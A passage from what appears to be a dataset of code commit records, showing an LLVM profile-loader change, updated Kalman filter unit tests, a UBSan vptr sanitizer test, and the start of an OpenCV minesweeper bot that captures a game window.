BlockCounts[Counter++]));\n if (Counter == BlockCounts.size())\n return;\n }\n}\n\n\/\/ getEdgeCounts - This method is used by consumers of edge counting\n\/\/ information. If we do not directly have edge count information, we compute\n\/\/ it from other, more refined, types of profile information.\n\/\/\nvoid ProfileInfoLoader::getEdgeCounts(std::vector<std::pair<Edge,\n unsigned> > &Counts) {\n if (EdgeCounts.empty()) {\n std::cerr << \"Edge counts not available, and no synthesis \"\n << \"is implemented yet!\\n\";\n return;\n }\n\n unsigned Counter = 0;\n for (Module::iterator F = M.begin(), E = M.end(); F != E; ++F)\n for (Function::iterator BB = F->begin(), E = F->end(); BB != E; ++BB)\n for (unsigned i = 0, e = BB->getTerminator()->getNumSuccessors();\n i != e; ++i) {\n Counts.push_back(std::make_pair(Edge(BB, i), EdgeCounts[Counter++]));\n if (Counter == EdgeCounts.size())\n return;\n }\n}\n<commit_msg>Add stub support for reading BBTraces.<commit_after>\/\/===- ProfileInfoLoad.cpp - Load profile information from disk -----------===\/\/\n\/\/ \n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The ProfileInfoLoader class is used to load and represent profiling\n\/\/ information read in from the dump file.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Analysis\/ProfileInfoLoader.h\"\n#include \"llvm\/Analysis\/ProfileInfoTypes.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/InstrTypes.h\"\n#include <cstdio>\n#include <map>\nusing namespace llvm;\n\n\/\/ ByteSwap - Byteswap 'Var' if 'Really' is true.\n\/\/\nstatic inline unsigned ByteSwap(unsigned Var, bool Really) {\n if (!Really) return Var;\n return ((Var & (255<< 0)) << 24) | \n ((Var & (255<< 8)) << 8) | \n ((Var & (255<<16)) >> 8) | \n ((Var & (255<<24)) >> 24);\n}\n\nstatic void ReadProfilingBlock(const char *ToolName, FILE *F,\n bool ShouldByteSwap,\n std::vector<unsigned> &Data) {\n \/\/ Read the number of entries...\n unsigned NumEntries;\n if (fread(&NumEntries, sizeof(unsigned), 1, F) != 1) {\n std::cerr << ToolName << \": data packet truncated!\\n\";\n perror(0);\n exit(1);\n }\n NumEntries = ByteSwap(NumEntries, ShouldByteSwap);\n\n \/\/ Read the counts...\n std::vector<unsigned> TempSpace(NumEntries);\n\n \/\/ Read in the block of data...\n if (fread(&TempSpace[0], sizeof(unsigned)*NumEntries, 1, F) != 1) {\n std::cerr << ToolName << \": data packet truncated!\\n\";\n perror(0);\n exit(1);\n }\n\n \/\/ Make sure we have enough space...\n if (Data.size() < NumEntries)\n Data.resize(NumEntries);\n \n \/\/ Accumulate the data we just read into the data.\n if (!ShouldByteSwap) {\n for (unsigned i = 0; i != NumEntries; ++i)\n Data[i] += TempSpace[i];\n } else {\n for (unsigned i = 0; i != NumEntries; ++i)\n Data[i] += ByteSwap(TempSpace[i], true);\n }\n}\n\n\/\/ ProfileInfoLoader ctor - Read the specified profiling data file, exiting the\n\/\/ program if the file is invalid or broken.\n\/\/\nProfileInfoLoader::ProfileInfoLoader(const char *ToolName,\n const std::string &Filename,\n Module &TheModule) : M(TheModule) {\n FILE *F = fopen(Filename.c_str(), \"r\");\n if (F == 0) {\n std::cerr << ToolName << \": Error opening '\" << Filename << \"': \";\n perror(0);\n exit(1);\n }\n\n \/\/ Keep reading packets until we run out of them.\n unsigned PacketType;\n while (fread(&PacketType, sizeof(unsigned), 1, F) == 1) {\n \/\/ If the low eight bits of the packet are zero, we must be dealing with an\n \/\/ endianness mismatch. Byteswap all words read from the profiling\n \/\/ information.\n bool ShouldByteSwap = (char)PacketType == 0;\n PacketType = ByteSwap(PacketType, ShouldByteSwap);\n\n switch (PacketType) {\n case ArgumentInfo: {\n unsigned ArgLength;\n if (fread(&ArgLength, sizeof(unsigned), 1, F) != 1) {\n std::cerr << ToolName << \": arguments packet truncated!\\n\";\n perror(0);\n exit(1);\n }\n ArgLength = ByteSwap(ArgLength, ShouldByteSwap);\n\n \/\/ Read in the arguments...\n std::vector<char> Chars(ArgLength+4);\n\n if (ArgLength)\n if (fread(&Chars[0], (ArgLength+3) & ~3, 1, F) != 1) {\n std::cerr << ToolName << \": arguments packet truncated!\\n\";\n perror(0);\n exit(1);\n }\n CommandLines.push_back(std::string(&Chars[0], &Chars[ArgLength]));\n break;\n }\n \n case FunctionInfo:\n ReadProfilingBlock(ToolName, F, ShouldByteSwap, FunctionCounts);\n break;\n \n case BlockInfo:\n ReadProfilingBlock(ToolName, F, ShouldByteSwap, BlockCounts);\n break;\n\n case EdgeInfo:\n ReadProfilingBlock(ToolName, F, ShouldByteSwap, EdgeCounts);\n break;\n\n case BBTraceInfo:\n ReadProfilingBlock(ToolName, F, ShouldByteSwap, BBTrace);\n break;\n\n default:\n std::cerr << ToolName << \": Unknown packet type #\" << PacketType << \"!\\n\";\n exit(1);\n }\n }\n \n fclose(F);\n}\n\n\n\/\/ getFunctionCounts - This method is used by consumers of function counting\n\/\/ information. If we do not directly have function count information, we\n\/\/ compute it from other, more refined, types of profile information.\n\/\/\nvoid ProfileInfoLoader::getFunctionCounts(std::vector<std::pair<Function*,\n unsigned> > &Counts) {\n if (FunctionCounts.empty()) {\n if (hasAccurateBlockCounts()) {\n \/\/ Synthesize function frequency information from the number of times\n \/\/ their entry blocks were executed.\n std::vector<std::pair<BasicBlock*, unsigned> > BlockCounts;\n getBlockCounts(BlockCounts);\n \n for (unsigned i = 0, e = BlockCounts.size(); i != e; ++i)\n if (&BlockCounts[i].first->getParent()->front() == BlockCounts[i].first)\n Counts.push_back(std::make_pair(BlockCounts[i].first->getParent(),\n BlockCounts[i].second));\n } else {\n std::cerr << \"Function counts are not available!\\n\";\n }\n return;\n }\n \n unsigned Counter = 0;\n for (Module::iterator I = M.begin(), E = M.end();\n I != E && Counter != FunctionCounts.size(); ++I)\n if (!I->isExternal())\n Counts.push_back(std::make_pair(I, FunctionCounts[Counter++]));\n}\n\n\/\/ getBlockCounts - This method is used by consumers of block counting\n\/\/ information. If we do not directly have block count information, we\n\/\/ compute it from other, more refined, types of profile information.\n\/\/\nvoid ProfileInfoLoader::getBlockCounts(std::vector<std::pair<BasicBlock*,\n unsigned> > &Counts) {\n if (BlockCounts.empty()) {\n if (hasAccurateEdgeCounts()) {\n \/\/ Synthesize block count information from edge frequency information.\n \/\/ The block execution frequency is equal to the sum of the execution\n \/\/ frequency of all outgoing edges from a block.\n \/\/\n \/\/ If a block has no successors, this will not be correct, so we have to\n \/\/ special case it. :(\n std::vector<std::pair<Edge, unsigned> > EdgeCounts;\n getEdgeCounts(EdgeCounts);\n\n std::map<BasicBlock*, unsigned> InEdgeFreqs;\n\n BasicBlock *LastBlock = 0;\n TerminatorInst *TI = 0;\n for (unsigned i = 0, e = EdgeCounts.size(); i != e; ++i) {\n if (EdgeCounts[i].first.first != LastBlock) {\n LastBlock = EdgeCounts[i].first.first;\n TI = LastBlock->getTerminator();\n Counts.push_back(std::make_pair(LastBlock, 0));\n }\n Counts.back().second += EdgeCounts[i].second;\n unsigned SuccNum = EdgeCounts[i].first.second;\n if (SuccNum >= TI->getNumSuccessors()) {\n static bool Warned = false;\n if (!Warned) {\n std::cerr << \"WARNING: profile info doesn't seem to match\"\n << \" the program!\\n\";\n Warned = true;\n }\n } else {\n \/\/ If this successor has no successors of its own, we will never\n \/\/ compute an execution count for that block. Remember the incoming\n \/\/ edge frequencies to add later.\n BasicBlock *Succ = TI->getSuccessor(SuccNum);\n if (Succ->getTerminator()->getNumSuccessors() == 0)\n InEdgeFreqs[Succ] += EdgeCounts[i].second;\n }\n }\n\n \/\/ Now we have to accumulate information for those blocks without\n \/\/ successors into our table.\n for (std::map<BasicBlock*, unsigned>::iterator I = InEdgeFreqs.begin(),\n E = InEdgeFreqs.end(); I != E; ++I) {\n unsigned i = 0;\n for (; i != Counts.size() && Counts[i].first != I->first; ++i)\n \/*empty*\/;\n if (i == Counts.size()) Counts.push_back(std::make_pair(I->first, 0));\n Counts[i].second += I->second;\n }\n\n } else {\n std::cerr << \"Block counts are not available!\\n\";\n }\n return;\n }\n\n unsigned Counter = 0;\n for (Module::iterator F = M.begin(), E = M.end(); F != E; ++F)\n for (Function::iterator BB = F->begin(), E = F->end(); BB != E; ++BB) {\n Counts.push_back(std::make_pair(BB, BlockCounts[Counter++]));\n if (Counter == BlockCounts.size())\n return;\n }\n}\n\n\/\/ getEdgeCounts - This method is used by consumers of edge counting\n\/\/ information. If we do not directly have edge count information, we compute\n\/\/ it from other, more refined, types of profile information.\n\/\/\nvoid ProfileInfoLoader::getEdgeCounts(std::vector<std::pair<Edge,\n unsigned> > &Counts) {\n if (EdgeCounts.empty()) {\n std::cerr << \"Edge counts not available, and no synthesis \"\n << \"is implemented yet!\\n\";\n return;\n }\n\n unsigned Counter = 0;\n for (Module::iterator F = M.begin(), E = M.end(); F != E; ++F)\n for (Function::iterator BB = F->begin(), E = F->end(); BB != E; ++BB)\n for (unsigned i = 0, e = BB->getTerminator()->getNumSuccessors();\n i != e; ++i) {\n Counts.push_back(std::make_pair(Edge(BB, i), EdgeCounts[Counter++]));\n if (Counter == EdgeCounts.size())\n return;\n }\n}\n\n\/\/ getBBTrace - This method is used by consumers of basic-block trace\n\/\/ information.\n\/\/\nvoid ProfileInfoLoader::getBBTrace(std::vector<BasicBlock *> &Trace) {\n if (BBTrace.empty ()) {\n std::cerr << \"Basic block trace is not available!\\n\";\n return;\n }\n std::cerr << \"Basic block trace loading is not implemented yet!\\n\";\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This is part of the FL library, a C++ Bayesian filtering library\n * (https:\/\/github.com\/filtering-library)\n *\n * Copyright (c) 2014 Jan Issac (jan.issac@gmail.com)\n * Copyright (c) 2014 Manuel Wuthrich (manuel.wuthrich@gmail.com)\n *\n * Max-Planck Institute for Intelligent Systems, AMD Lab\n * University of Southern California, CLMC Lab\n *\n * This Source Code Form is subject to the terms of the MIT License (MIT).\n * A copy of the license can be found in the LICENSE file distributed with this\n * source code.\n *\/\n\n\/**\n * \\file gaussian_filter_kf_test.cpp\n * \\date Febuary 2015\n * \\author Jan Issac (jan.issac@gmail.com)\n *\/\n\n#include <gtest\/gtest.h>\n\n#include <Eigen\/Dense>\n\n#include <cmath>\n#include <iostream>\n\n#include <fl\/model\/process\/linear_process_model.hpp>\n#include <fl\/model\/observation\/linear_observation_model.hpp>\n#include <fl\/filter\/filter_interface.hpp>\n#include <fl\/filter\/gaussian\/gaussian_filter.hpp>\n#include <fl\/util\/math\/linear_algebra.hpp>\n\n\nusing namespace fl;\n\nTEST(KalmanFilterTests, init_fixed_size_predict)\n{\n typedef double Scalar;\n typedef Eigen::Matrix<Scalar, 10, 1> State;\n typedef Eigen::Matrix<Scalar, 1 , 1> Input;\n typedef Eigen::Matrix<Scalar, 20, 1> Obsrv;\n\n typedef LinearGaussianProcessModel<State, Input> LinearProcess;\n typedef LinearObservationModel<Obsrv, State> LinearObservation;\n\n \/\/ the KalmanFilter\n typedef GaussianFilter<LinearProcess, LinearObservation> Algo;\n typedef FilterInterface<Algo> Filter;\n\n LinearProcess::SecondMoment Q = LinearProcess::SecondMoment::Identity();\n Filter&& filter = Algo(LinearProcess(Q), LinearObservation());\n\n Filter::StateDistribution state_dist;\n\n EXPECT_TRUE(state_dist.mean().isZero());\n EXPECT_TRUE(state_dist.covariance().isIdentity());\n\n filter.predict(1.0, Input(1), state_dist, state_dist);\n\n EXPECT_TRUE(state_dist.mean().isZero());\n EXPECT_TRUE(fl::are_similar(state_dist.covariance(), 2. * Q));\n}\n\nTEST(KalmanFilterTests, init_dynamic_size_predict)\n{\n typedef double Scalar;\n typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> State;\n typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> Input;\n typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> Obsrv;\n\n const int dim_state = 10;\n const int dim_obsrv = 20;\n\n typedef LinearGaussianProcessModel<State, Input> LinearProcess;\n typedef LinearObservationModel<Obsrv, State> LinearObservation;\n\n \/\/ the KalmanFilter\n typedef GaussianFilter<LinearProcess, LinearObservation> Algo;\n typedef FilterInterface<Algo> Filter;\n\n LinearProcess::SecondMoment Q =\n LinearProcess::SecondMoment::Identity(dim_state, dim_state);\n\n\/\/ Traits<ObservationModel>::SecondMoment R =\n\/\/ Traits<ObservationModel>::SecondMoment::Identity(dim_obsrv, dim_obsrv);\n\n Filter&& filter = Algo(\n LinearProcess(Q, dim_state),\n LinearObservation(dim_obsrv, dim_state));\n\n auto state_dist = Filter::StateDistribution(dim_state);\n\n EXPECT_TRUE(state_dist.mean().isZero());\n EXPECT_TRUE(state_dist.covariance().isIdentity());\n\n filter.predict(1.0, Input(1), state_dist, state_dist);\n\n EXPECT_TRUE(state_dist.mean().isZero());\n EXPECT_TRUE(fl::are_similar(state_dist.covariance(), 2. * Q));\n}\n\n\/\/TEST(KalmanFilterTests, fixed_size_predict_update)\n\/\/{\n\/\/ typedef double Scalar;\n\/\/ typedef Eigen::Matrix<Scalar, 6, 1> State;\n\/\/ typedef Eigen::Matrix<Scalar, 6, 1> Input;\n\/\/ typedef Eigen::Matrix<Scalar, 6, 1> Obsrv;\n\n\/\/ \/\/ the KalmanFilter\n\/\/ typedef GaussianFilter<\n\/\/ LinearGaussianProcessModel<State, Input>,\n\/\/ LinearObservationModel<Obsrv, State>\n\/\/ > Algo;\n\n\/\/ typedef FilterInterface<Algo> Filter;\n\n\/\/ typedef typename Traits<Algo>::ProcessModel ProcessModel;\n\/\/ typedef typename Traits<Algo>::ObservationModel ObservationModel;\n\n\/\/ Traits<ProcessModel>::SecondMoment Q =\n\/\/ Traits<ProcessModel>::SecondMoment::Random() * 1.5;\n\/\/\/\/ Traits<ObservationModel>::SecondMoment R =\n\/\/\/\/ Traits<ObservationModel>::SecondMoment::Random();\n\n\/\/ Q *= Q.transpose();\n\/\/ R *= R.transpose();\n\n\/\/ Traits<ProcessModel>::DynamicsMatrix A =\n\/\/ Traits<ProcessModel>::DynamicsMatrix::Random();\n\n\/\/ Traits<ObservationModel>::SensorMatrix H =\n\/\/ Traits<ObservationModel>::SensorMatrix::Random();\n\n\/\/ ProcessModel process_model = ProcessModel(Q);\n\/\/ ObservationModel obsrv_model = ObservationModel(R);\n\n\/\/ process_model.A(A);\n\/\/ obsrv_model.H(H);\n\n\/\/ Filter&& filter = Algo(process_model, obsrv_model);\n\n\/\/ Filter::StateDistribution state_dist;\n\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\n\/\/ for (int i = 0; i < 2000; ++i)\n\/\/ {\n\/\/ filter.predict(1.0, Input(), state_dist, state_dist);\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\n\/\/ Obsrv y = Obsrv::Random();\n\/\/ filter.update(y, state_dist, state_dist);\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\/\/ }\n\/\/}\n\n\/\/TEST(KalmanFilterTests, dynamic_size_predict_update)\n\/\/{\n\/\/ typedef double Scalar;\n\/\/ typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> State;\n\/\/ typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> Input;\n\/\/ typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> Obsrv;\n\n\/\/ const int dim_state = 10;\n\/\/ const int dim_obsrv = 10;\n\n\/\/ \/\/ the KalmanFilter\n\/\/ typedef GaussianFilter<\n\/\/ LinearGaussianProcessModel<State, Input>,\n\/\/ LinearGaussianObservationModel<Obsrv, State>\n\/\/ > Algo;\n\n\/\/ typedef FilterInterface<Algo> Filter;\n\n\/\/ typedef typename Traits<Algo>::ProcessModel ProcessModel;\n\/\/ typedef typename Traits<Algo>::ObservationModel ObservationModel;\n\n\/\/ Traits<ProcessModel>::SecondMoment Q =\n\/\/ Traits<ProcessModel>::SecondMoment::Random(dim_state, dim_state) * 1.5;\n\/\/ Q *= Q.transpose();\n\n\/\/ Traits<ProcessModel>::DynamicsMatrix A =\n\/\/ Traits<ProcessModel>::DynamicsMatrix::Random(dim_state, dim_state);\n\n\/\/ Traits<ObservationModel>::SecondMoment R =\n\/\/ Traits<ObservationModel>::SecondMoment::Random(dim_obsrv, dim_obsrv);\n\/\/ R *= R.transpose();\n\n\/\/ Traits<ObservationModel>::SensorMatrix H =\n\/\/ Traits<ObservationModel>::SensorMatrix::Random(dim_obsrv, dim_state);\n\n\/\/ ProcessModel process_model =\n\/\/ ProcessModel(Q, dim_state);\n\n\/\/ ObservationModel obsrv_model =\n\/\/ ObservationModel(R, dim_obsrv, dim_state);\n\n\/\/ process_model.A(A);\n\/\/ obsrv_model.H(H);\n\n\/\/ Filter&& filter = Algo(process_model, obsrv_model);\n\n\/\/ Filter::StateDistribution state_dist(dim_state);\n\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\n\/\/ for (int i = 0; i < 2000; ++i)\n\/\/ {\n\/\/ filter.predict(1.0, Input(1), state_dist, state_dist);\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\n\/\/ Obsrv y = Obsrv::Random(dim_obsrv);\n\/\/ filter.update(y, state_dist, state_dist);\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\/\/ }\n\/\/}\n<commit_msg>updated KF unit tests<commit_after>\/*\n * This is part of the FL library, a C++ Bayesian filtering library\n * (https:\/\/github.com\/filtering-library)\n *\n * Copyright (c) 2014 Jan Issac (jan.issac@gmail.com)\n * Copyright (c) 2014 Manuel Wuthrich (manuel.wuthrich@gmail.com)\n *\n * Max-Planck Institute for Intelligent Systems, AMD Lab\n * University of Southern California, CLMC Lab\n *\n * This Source Code Form is subject to the terms of the MIT License (MIT).\n * A copy of the license can be found in the LICENSE file distributed with this\n * source code.\n *\/\n\n\/**\n * \\file gaussian_filter_kf_test.cpp\n * \\date Febuary 2015\n * \\author Jan Issac (jan.issac@gmail.com)\n *\/\n\n#include <gtest\/gtest.h>\n\n#include <Eigen\/Dense>\n\n#include <cmath>\n#include <iostream>\n\n#include <fl\/model\/process\/linear_process_model.hpp>\n#include <fl\/model\/observation\/linear_observation_model.hpp>\n#include <fl\/filter\/filter_interface.hpp>\n#include <fl\/filter\/gaussian\/gaussian_filter.hpp>\n#include <fl\/util\/math\/linear_algebra.hpp>\n\n\nusing namespace fl;\n\nTEST(KalmanFilterTests, init_fixed_size_predict)\n{\n typedef double Scalar;\n typedef Eigen::Matrix<Scalar, 10, 1> State;\n typedef Eigen::Matrix<Scalar, 1 , 1> Input;\n typedef Eigen::Matrix<Scalar, 20, 1> Obsrv;\n\n typedef LinearStateTransitionModel<State, Input> LinearProcess;\n typedef LinearObservationModel<Obsrv, State> LinearObservation;\n\n \/\/ the KalmanFilter\n typedef GaussianFilter<LinearProcess, LinearObservation> Filter;\n auto filter = Filter(LinearProcess(), LinearObservation());\n Filter::StateDistribution state_dist;\n\n EXPECT_TRUE(state_dist.mean().isZero());\n EXPECT_TRUE(state_dist.covariance().isIdentity());\n\n filter.predict(1.0, Input(1), state_dist, state_dist);\n\n auto Q = filter.process_model().noise_matrix_squared();\n\n EXPECT_TRUE(state_dist.mean().isZero());\n EXPECT_TRUE(fl::are_similar(state_dist.covariance(), 2. * Q));\n}\n\nTEST(KalmanFilterTests, init_dynamic_size_predict)\n{\n typedef double Scalar;\n typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> State;\n typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> Input;\n typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> Obsrv;\n\n const int dim_state = 10;\n const int dim_obsrv = 20;\n const int dim_input = 1;\n\n typedef LinearStateTransitionModel<State, Input> LinearProcess;\n typedef LinearObservationModel<Obsrv, State> LinearObservation;\n\n \/\/ the KalmanFilter\n typedef GaussianFilter<LinearProcess, LinearObservation> Filter;\n\n auto filter = Filter(LinearProcess(dim_state, dim_input),\n LinearObservation(dim_obsrv, dim_state));\n\n auto state_dist = Filter::StateDistribution(dim_state);\n\n EXPECT_TRUE(state_dist.mean().isZero());\n EXPECT_TRUE(state_dist.covariance().isIdentity());\n\n filter.predict(1.0, Input(1), state_dist, state_dist);\n\n auto Q = filter.process_model().noise_matrix_squared();\n\n EXPECT_TRUE(state_dist.mean().isZero());\n EXPECT_TRUE(fl::are_similar(state_dist.covariance(), 2. * Q));\n}\n\n\/\/TEST(KalmanFilterTests, fixed_size_predict_update)\n\/\/{\n\/\/ typedef double Scalar;\n\/\/ typedef Eigen::Matrix<Scalar, 6, 1> State;\n\/\/ typedef Eigen::Matrix<Scalar, 6, 1> Input;\n\/\/ typedef Eigen::Matrix<Scalar, 6, 1> Obsrv;\n\n\/\/ \/\/ the KalmanFilter\n\/\/ typedef GaussianFilter<\n\/\/ LinearGaussianProcessModel<State, Input>,\n\/\/ LinearObservationModel<Obsrv, State>\n\/\/ > Algo;\n\n\/\/ typedef FilterInterface<Algo> Filter;\n\n\/\/ typedef typename Traits<Algo>::ProcessModel ProcessModel;\n\/\/ typedef typename Traits<Algo>::ObservationModel ObservationModel;\n\n\/\/ Traits<ProcessModel>::SecondMoment Q =\n\/\/ Traits<ProcessModel>::SecondMoment::Random() * 1.5;\n\/\/\/\/ Traits<ObservationModel>::SecondMoment R =\n\/\/\/\/ Traits<ObservationModel>::SecondMoment::Random();\n\n\/\/ Q *= Q.transpose();\n\/\/ R *= R.transpose();\n\n\/\/ Traits<ProcessModel>::DynamicsMatrix A =\n\/\/ Traits<ProcessModel>::DynamicsMatrix::Random();\n\n\/\/ Traits<ObservationModel>::SensorMatrix H =\n\/\/ Traits<ObservationModel>::SensorMatrix::Random();\n\n\/\/ ProcessModel process_model = ProcessModel(Q);\n\/\/ ObservationModel obsrv_model = ObservationModel(R);\n\n\/\/ process_model.A(A);\n\/\/ obsrv_model.H(H);\n\n\/\/ Filter&& filter = Algo(process_model, obsrv_model);\n\n\/\/ Filter::StateDistribution state_dist;\n\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\n\/\/ for (int i = 0; i < 2000; ++i)\n\/\/ {\n\/\/ filter.predict(1.0, Input(), state_dist, state_dist);\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\n\/\/ Obsrv y = Obsrv::Random();\n\/\/ filter.update(y, state_dist, state_dist);\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\/\/ }\n\/\/}\n\n\/\/TEST(KalmanFilterTests, dynamic_size_predict_update)\n\/\/{\n\/\/ typedef double Scalar;\n\/\/ typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> State;\n\/\/ typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> Input;\n\/\/ typedef Eigen::Matrix<Scalar, Eigen::Dynamic, 1> Obsrv;\n\n\/\/ const int dim_state = 10;\n\/\/ const int dim_obsrv = 10;\n\n\/\/ \/\/ the KalmanFilter\n\/\/ typedef GaussianFilter<\n\/\/ LinearGaussianProcessModel<State, Input>,\n\/\/ LinearGaussianObservationModel<Obsrv, State>\n\/\/ > Algo;\n\n\/\/ typedef FilterInterface<Algo> Filter;\n\n\/\/ typedef typename Traits<Algo>::ProcessModel ProcessModel;\n\/\/ typedef typename Traits<Algo>::ObservationModel ObservationModel;\n\n\/\/ Traits<ProcessModel>::SecondMoment Q =\n\/\/ Traits<ProcessModel>::SecondMoment::Random(dim_state, dim_state) * 1.5;\n\/\/ Q *= Q.transpose();\n\n\/\/ Traits<ProcessModel>::DynamicsMatrix A =\n\/\/ Traits<ProcessModel>::DynamicsMatrix::Random(dim_state, dim_state);\n\n\/\/ Traits<ObservationModel>::SecondMoment R =\n\/\/ Traits<ObservationModel>::SecondMoment::Random(dim_obsrv, dim_obsrv);\n\/\/ R *= R.transpose();\n\n\/\/ Traits<ObservationModel>::SensorMatrix H =\n\/\/ Traits<ObservationModel>::SensorMatrix::Random(dim_obsrv, dim_state);\n\n\/\/ ProcessModel process_model =\n\/\/ ProcessModel(Q, dim_state);\n\n\/\/ ObservationModel obsrv_model =\n\/\/ ObservationModel(R, dim_obsrv, dim_state);\n\n\/\/ process_model.A(A);\n\/\/ obsrv_model.H(H);\n\n\/\/ Filter&& filter = Algo(process_model, obsrv_model);\n\n\/\/ Filter::StateDistribution state_dist(dim_state);\n\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\n\/\/ for (int i = 0; i < 2000; ++i)\n\/\/ {\n\/\/ filter.predict(1.0, Input(1), state_dist, state_dist);\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\n\/\/ Obsrv y = Obsrv::Random(dim_obsrv);\n\/\/ filter.update(y, state_dist, state_dist);\n\/\/ EXPECT_TRUE(state_dist.covariance().ldlt().isPositive());\n\/\/ }\n\/\/}\n<|endoftext|>"} {"text":"<commit_before>\/\/ RUN: %clangxx -std=c++11 -frtti -fsanitize=vptr -g %s -O3 -o %t\n\/\/ RUN: %run %t &> %t.log\n\/\/ RUN: cat %t.log | not count 0 && FileCheck --input-file %t.log %s || cat %t.log | count 0\n\n\/\/ REQUIRES: cxxabi\n\n#include <sys\/mman.h>\n#include <unistd.h>\n\nclass Base {\npublic:\n int i;\n virtual void print() {}\n};\n\nclass Derived : public Base {\npublic:\n void print() {}\n};\n\n\nint main() {\n int page_size = getpagesize();\n\n void *non_accessible = mmap(nullptr, page_size, PROT_NONE,\n MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n \n if (non_accessible == MAP_FAILED)\n return 0;\n\n void *accessible = mmap((char*)non_accessible + page_size, page_size,\n PROT_READ | PROT_WRITE,\n MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n if (accessible == MAP_FAILED)\n return 0;\n\n char *c = new char[sizeof(Derived)];\n\n \/\/ The goal is to trigger a condition when Vptr points to accessible memory,\n \/\/ but VptrPrefix does not. That has been triggering SIGSEGV in UBSan code.\n void **vtable_ptr = reinterpret_cast<void **>(c);\n *vtable_ptr = (void*)accessible;\n\n Derived *list = (Derived *)c;\n\n\/\/ CHECK: PR33221.cpp:[[@LINE+2]]:19: runtime error: member access within address {{.*}} which does not point to an object of type 'Base'\n\/\/ CHECK-NEXT: invalid vptr\n int foo = list->i;\n return 0;\n}\n<commit_msg>[ubsan] Update a test missed in r309008, NFC<commit_after>\/\/ RUN: %clangxx -std=c++11 -frtti -fsanitize=vptr,null -g %s -O3 -o %t\n\/\/ RUN: %run %t &> %t.log\n\/\/ RUN: cat %t.log | not count 0 && FileCheck --input-file %t.log %s || cat %t.log | count 0\n\n\/\/ REQUIRES: cxxabi\n\n#include <sys\/mman.h>\n#include <unistd.h>\n\nclass Base {\npublic:\n int i;\n virtual void print() {}\n};\n\nclass Derived : public Base {\npublic:\n void print() {}\n};\n\n\nint main() {\n int page_size = getpagesize();\n\n void *non_accessible = mmap(nullptr, page_size, PROT_NONE,\n MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n \n if (non_accessible == MAP_FAILED)\n return 0;\n\n void *accessible = mmap((char*)non_accessible + page_size, page_size,\n PROT_READ | PROT_WRITE,\n MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n if (accessible == MAP_FAILED)\n return 0;\n\n char *c = new char[sizeof(Derived)];\n\n \/\/ The goal is to trigger a condition when Vptr points to accessible memory,\n \/\/ but VptrPrefix does not. That has been triggering SIGSEGV in UBSan code.\n void **vtable_ptr = reinterpret_cast<void **>(c);\n *vtable_ptr = (void*)accessible;\n\n Derived *list = (Derived *)c;\n\n\/\/ CHECK: PR33221.cpp:[[@LINE+2]]:19: runtime error: member access within address {{.*}} which does not point to an object of type 'Base'\n\/\/ CHECK-NEXT: invalid vptr\n int foo = list->i;\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\r\n#include <Windows.h>\r\n#include <opencv2\/core\/core.hpp>\r\n#include <opencv2\/highgui\/highgui.hpp>\r\n#include <opencv2\/opencv.hpp>\r\n#include <opencv2\/imgproc.hpp>\r\n#include <algorithm>\r\n\/*\r\nmineBot.cpp\r\nT.Lloyd\r\n\r\nAn attempt at an openCV minesweeper bot...\r\n\r\n*\/\r\nusing namespace cv;\r\nusing namespace std;\r\n\r\n#define until for\r\n#define endOfTime (;;)\r\n\r\n\r\nBOOL captureFrame(Mat &f,HWND mineHandle,int height, int width){\r\n\tHDC mineHDC, mineCompat;\r\n\tHBITMAP mineBit;\r\n\tBITMAP b;\r\n\tBITMAPINFOHEADER mineH;\r\n\tif (mineHandle == NULL){\r\n\t\tcout << \"Game Not Found\\n\";\r\n\t\treturn FALSE;\r\n\t}\r\n\tmineHDC = GetDC(mineHandle);\r\n\tmineCompat = CreateCompatibleDC(mineHDC);\r\n\tif (!mineCompat){\r\n\t\tcout << \"Error creating compatible DC\\n\";\r\n\t\treturn FALSE;\r\n\t}\r\n\t\/\/SetStretchBltMode(mineCompat, HALFTONE);\r\n\tSetStretchBltMode(mineCompat, HALFTONE);\r\n\r\n\tmineBit = CreateCompatibleBitmap(mineHDC, width, height);\r\n\tif (mineBit == NULL){\r\n\t\tcout << \"Bitmap Creation Failed!\\n\";\r\n\t\treturn FALSE;\r\n\t}\r\n\tmineH.biSize = sizeof(BITMAPINFOHEADER);\r\n\tmineH.biPlanes = 1;\r\n\tmineH.biWidth = width;\r\n\tmineH.biHeight = -height;\r\n\tmineH.biBitCount = 32;\r\n\tmineH.biCompression = 